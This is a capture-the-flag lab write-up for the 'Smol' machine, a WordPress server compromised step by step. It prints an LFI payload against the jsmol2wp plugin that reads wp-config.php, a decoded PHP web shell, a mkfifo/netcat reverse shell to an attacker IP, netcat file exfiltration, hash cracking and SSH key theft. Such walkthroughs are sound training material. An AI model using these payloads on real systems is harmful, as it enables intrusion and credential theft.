Smol
1. Initial Host and Port Enumeration
First, we defined the target IP address and performed a full TCP port scan using Nmap. A high-speed scan (using --min-rate
) helped to quickly identify the open ports.
export TARGET_IP=10.10.225.191
nmap -p- -Pn --min-rate 5000 $TARGET_IP
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2. Service Version Detection and HTTP Analysis
Next, we focused on the HTTP service running on port 80. We used Nmap’s version detection (-sV
) and default scripts (-sC
) to gather more information.
nmap -p80 -sV -sC -Pn $TARGET_IP
HTTP Service Scan Output:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://www.smol.thm
Since the HTTP title indicated a redirect to http://www.smol.thm
, we updated our local hosts file (via nano
) to resolve the hostname correctly:
nano /etc/hosts
Add the following line:
10.10.225.191 www.smol.thm
Visiting the front-end, the footer revealed “Proudly powered by WordPress” (also confirmed by inspecting the source code), which suggested that the site was built on WordPress.
3. WordPress Plugin Enumeration with WPScan
To enumerate WordPress plugins and themes, we ran WPScan with enumeration flags for plugins (p
), themes (t
), and users (u
):
wpscan --url http://www.smol.thm/ --enumerate p,t,u
Relevant Output:
[+] jsmol2wp
| Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
| Latest Version: 1.07 (up to date)
| Last Updated: 2018-03-09T10:28:00.000Z
...
The plugin jsmol2wp
was identified. A review of available information indicated that it is affected by CVE-2018-20463, a local file inclusion vulnerability. More details can be found at:
4. Exploiting the Local File Inclusion (LFI) Vulnerability
Using the LFI vulnerability in jsmol2wp
, we accessed the WordPress configuration file to extract database credentials:
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
Extracted Content:
/** Database username */
define( 'DB_USER', 'wpuser' );
/** Database password */
define( 'DB_PASSWORD', 'kbLSF2Vop#lw3rjDZ629*Z%G' );
We now had valid credentials:
wpuser:kbLSF2Vop#lw3rjDZ629*Z%G
5. Accessing the WordPress Admin Interface
Navigating to the default WordPress admin URL:
http://www.smol.thm/wp-admin
...led to the login page. We used the credentials obtained from the LFI exploit to log in successfully. Within the private “Webmaster Tasks!!” page, we noticed references to a suspicious plugin called “Hello Dolly.”
6. Identifying a Suspicious File via Directory Fuzzing
To further investigate, we used ffuf
to determine the correct filename of the suspicious “Hello Dolly” plugin. We fuzzed the URL to check for file existence:
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt \
-u "http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/FUZZ.php" \
-fs 2
Fuzzer Output:
hello [Status: 200, Size: 2704, Words: 321, Lines: 104, Duration: 372ms]
The output indicated that hello.php
exists in the plugins directory.
We then used the LFI vulnerability again to read the source code of the hello.php
file:
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php
7. Analysis of the Suspicious Code in hello.php
Within the file, we found the following PHP snippet:
eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
Decoding the base64 string:
echo "CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=" | base64 -d
Reveals:
if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }
This code is then equivalent to:
if (isset($_GET["cmd"])) { system($_GET["cmd"]); }
This is a one-liner web shell. By passing commands via the cmd
parameter, an attacker can execute arbitrary system commands. For example, testing it by visiting:
http://www.smol.thm/wp-admin/?cmd=id
Returns:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We further leveraged this shell to obtain a reverse shell.
8. Obtaining a Reverse Shell
We prepared a Netcat listener on our attacker machine:
nc -lvnp 6666
Then executed the following command via the web shell (URL-encoded) to create a reverse shell:
http://www.smol.thm/wp-admin/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.2.17.44%206666%20%3E%2Ftmp%2Ff
Once the shell connected, we stabilized our shell using the following commands:
script /dev/null -c bash
# Press CTRL+Z, then execute:
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty size # Note the rows and columns you use in local, then set accordingly:
stty rows <ROWS> columns <COLUMNS>
9. Database Access and Credential Dumping
With the credentials retrieved earlier, we accessed the MySQL database:
-
Confirm that the MySQL service is running:
systemctl --state running --type service
# Look for mysql.service (MySQL Community Server) -
Log in to MySQL using the
wpuser
account:mysql -u wpuser -p
# Enter: kbLSF2Vop#lw3rjDZ629*Z%G -
Within MySQL, list databases and extract user information:
SHOW DATABASES;
USE wordpress;
SELECT * FROM wp_users;
Sample wp_users Output:
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
| 1 | admin | $P$BH.CF15fzRj4li7nR19CHzZhPmhKdX. | admin | admin@smol.thm | http://www.smol.thm | 2023-08-16 06:58:30 | | 0 | admin |
| 2 | wpuser | $P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. | wp | wp@smol.thm | http://smol.thm | 2023-08-16 11:04:07 | | 0 | wordpress user |
| 3 | think | $P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/ | think | josemlwdf@smol.thm | http://smol.thm | 2023-08-16 15:01:02 | | 0 | Jose Mario Llado Marti |
| 4 | gege | $P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1 | gege | gege@smol.thm | http://smol.thm | 2023-08-17 20:18:50 | | 0 | gege |
| 5 | diego | $P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1 | diego | diego@local | http://smol.thm | 2023-08-17 20:19:15 | | 0 | diego |
| 6 | xavi | $P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1 | xavi | xavi@smol.thm | http://smol.thm | 2023-08-17 20:20:01 | | 0 | xavi |
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
The hash format used here is compatible with Hashcat’s mode 400. Save the hashes (one per line) to a file (e.g., hashes.txt
) and run Hashcat:
hashcat -a 0 -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
Cracked Credential (diego):
$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1:sandiegocalifornia
Thus, the credentials for the user diego
are:
diego:sandiegocalifornia
10. Lateral Movement and Privilege Escalation
10.1 Switching to Diego and Accessing Think's SSH Key
Using the cracked credentials, we switched to the diego
account:
su diego # Password: sandiegocalifornia
id # Expected output: uid=1002(diego) gid=1002(diego) groups=1002(diego),1005(internal)
Next, we navigated to think
’s home directory and copied the SSH key:
cd
cat /home/think/.ssh/id_rsa > id_rsa
chmod 600 id_rsa
Using this SSH key, we logged into the think
account:
ssh -i id_rsa think@$TARGET_IP
id # Expected output: uid=1000(think) gid=1000(think) groups=1000(think),1004(dev),1005(internal)
We confirmed that think
is a member of the dev
group.
getent group dev # Output should include: dev:x:1004:think,gege
Since the user gege
is also in the dev
group, we switched to gege
:
su gege
Within gege
’s home directory, we discovered a file named wordpress.old.zip
(password protected).
10.2 Exfiltrating and Cracking the ZIP File
We transferred the ZIP file to our attacker machine using Netcat:
-
On the attacker machine (listener):
nc -lvnp 6666 > wordpress.old.zip
-
On the target (sender):
nc 10.2.17.44 6666 < wordpress.old.zip
Once obtained, we attempted to crack the ZIP password using either fcrackzip
or zip2john
/john
:
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt wordpress.old.zip
Alternatively:
zip2john wordpress.old.zip > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
The cracked password was:
hero_gege@hotmail.com
After unzipping the file:
unzip wordpress.old.zip
We examined the extracted wp-config.php
file to retrieve additional database credentials.
Extracted wp-config.php Excerpt:
/** Database username */
define( 'DB_USER', 'xavi' );
/** Database password */
define( 'DB_PASSWORD', 'P@ssw0rdxavi@' );
Thus, we obtained:
xavi:P@ssw0rdxavi@
10.3 Final Privilege Escalation
Using the newly acquired credentials, we switched to the xavi
account:
su xavi # Password: P@ssw0rdxavi@
id # Expected output: uid=1001(xavi) gid=1001(xavi) groups=1001(xavi),1005(internal)
Finally, checking for sudo privileges revealed that xavi
has full sudo access:
sudo -l
# Expected output: (ALL : ALL) ALL
Using sudo, we accessed the root flag:
sudo cat /root/root.txt